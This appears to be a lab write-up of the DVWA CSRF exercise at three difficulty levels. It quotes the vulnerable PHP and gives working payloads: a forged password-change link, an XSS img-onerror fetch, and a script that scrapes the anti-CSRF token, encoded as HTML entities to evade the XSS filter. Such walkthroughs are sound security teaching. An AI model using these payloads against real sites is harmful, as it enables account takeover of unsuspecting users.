CSFR (Cross-Site Request Forgery)
CSRF (Cross-Site Request Forgery) is a type of attack that tricks a browser into performing unauthorized actions on a website where the user is authenticated. This is achieved by:
-
Cross-site requests: The attacker creates malicious HTTP requests that appear legitimate to the server, exploiting user authentication without the user's knowledge.
-
Hidden forms or malicious links: They may be on external sites or sent through e-mails. When the user clicks or visits these links, actions such as password changes or money transfers are executed.
-
**Include
<img>
or<iframe>
tags on malicious sites or forums to force the browser to make unauthorized requests while the user is authenticated on another site. -
Cross-site scripting: Using XSS in combination with CSRF can amplify the ability to execute unwanted actions by loading malicious scripts that make automated requests.
Protection against CSRF generally involves:
-
CSRF Token: A server sends a unique token on each form or request that the browser must return, thus verifying the legitimacy of the request.
-
Referrer and Origin Verification: Servers can check where the request is coming from to make sure it is not an external site.
-
Header Security: Use HTTP headers such as
SameSite
in cookies to limit the sending of cookies in cross-site requests.
This method of attack exploits the trust a site has in the user's browser and implementing appropriate security measures is crucial to protect the integrity of the user's interactions with the web application.
Low
On the first level, when entering, we find an input field that allows us to change the password.
Browsers are starting to set the SameSite cookie flag in Lax by default and, in doing so, are eliminating some types of CSRF attacks. When they have completed their mission, this laboratory will not function as originally expected.
Announcements:
- Chromium
- Edge
- Firefox
As an alternative to the normal attack of hosting malicious URLs or code on a separate host, you can try to use other vulnerabilities in this application to store them; the Stored XSS lab would be a good place to start.
So we are going to directly perform the attacks taking advantage of the XSS as recommended.
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
As we can see the code does not have any verification against CSFR, so if we take advantage of the XSS attack reflected or storage.
Before performing the attack, let's check how the password change request works and we find that it is performed by a GET with the parameters in the URL.
Here, as we do not have any protection against CSFR attacks, it would be enough to create a website where the user clicks on a link and the password would be changed
<a href="http://localhost/vulnerabilities/csrf/?password_new=p&password_conf=p&Change=Change#">
In this case it depends more on the skill of the attacker to perform the deception than the vulnerability itself.
Medium
We change to the middle level, if we try the attack from a file external to our domain it will not work as you can see in the source code. This is because it checks where the request comes from and if it does not come from the same server it will not be executed.
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
So we are going to inject the following XSS code so that every time the web is loaded, the image will give an error and our JavaScript code will be executed making a fetch request and change the password.
<img src=x onerror='fetch("http://localhost/vulnerabilities/csrf/?password_new=p&password_conf=p&Change=Change")'>
Now if we want to change the password of any user we only have to share the following url
http://localhost/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onerror%3D%27fetch%28%22http%3A%2F%2Flocalhost%2Fvulnerabilities%2Fcsrf%2F%3Fpassword_new%3Dp%26password_conf%3Dp%26Change%3DChange%22%29%27%3E#
If the web has any XSS storage we would only have to store it in it to be able to make the change every time a user visits the page.
High
If we look at the code we can see that in this case a CSRF token is added to avoid the attack, but taking advantage of another vulnerability we can perform the bypass.
<?php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
echo "<pre>" . $return_message . "</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
The first thing to do is to analyze which is the input field where the token is stored, in this case user_token
. To retrieve a valid token, we will first make a request to the original website where the password change is located. We get the web page as text and convert it into a virtual DOM, from which we can retrieve the token and use it to change the password at will.
fetch("http://localhost/vulnerabilities/csrf/index.php").then(function (response) {
return response.text();
}).then(async function (html) {
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let token = doc.getElementsByName('user_token')[0].value
fetch("http://localhost/vulnerabilities/csrf/?password_new=g&password_conf=g&Change=Change&user_token=" + token + "#")
});
In order to facilitate the attack we will minimize the JavaScript.
fetch("http://localhost/vulnerabilities/csrf/index.php").then((function(e){return e.text()})).then((async function(e){let t=(new DOMParser).parseFromString(e,"text/html").getElementsByName("user_token")[0].value;fetch("http://localhost/vulnerabilities/csrf/?password_new=g&password_conf=g&Change=Change&user_token="+t+"#")}));
Now that we have it ready, let's exploit the XSS vulnerability reflected by the img XSS attack.
<img src=x onerror='fetch("http://localhost/vulnerabilities/csrf/index.php").then((function(e){return e.text()})).then((async function(e){let t=(new DOMParser).parseFromString(e,"text/html").getElementsByName("user_token")[0].value;fetch("http://localhost/vulnerabilities/csrf/?password_new=g&password_conf=g&Change=Change&user_token="+t+"#")}));'>
But as we can see, the attack is not functional.
This is because the regular expression that avoids the XSS deletes part of the attack.
To solve this, what we can do is to convert the js to HTML entities to avoid the filter, for this we can use the following web
<img src=/ onerror="fetch("http://localhost/vulnerabilities/csrf/index.php").then((function(e){return e.text()})).then((async function(e){let t=(new DOMParser).parseFromString(e,"text/html").getElementsByName("user_token")[0].value;fetch("http://localhost/vulnerabilities/csrf/?password_new=g&password_conf=g&Change=Change&user_token="+t+"#")}));">
As we can see now the filter does not stop the attack and we get the password change.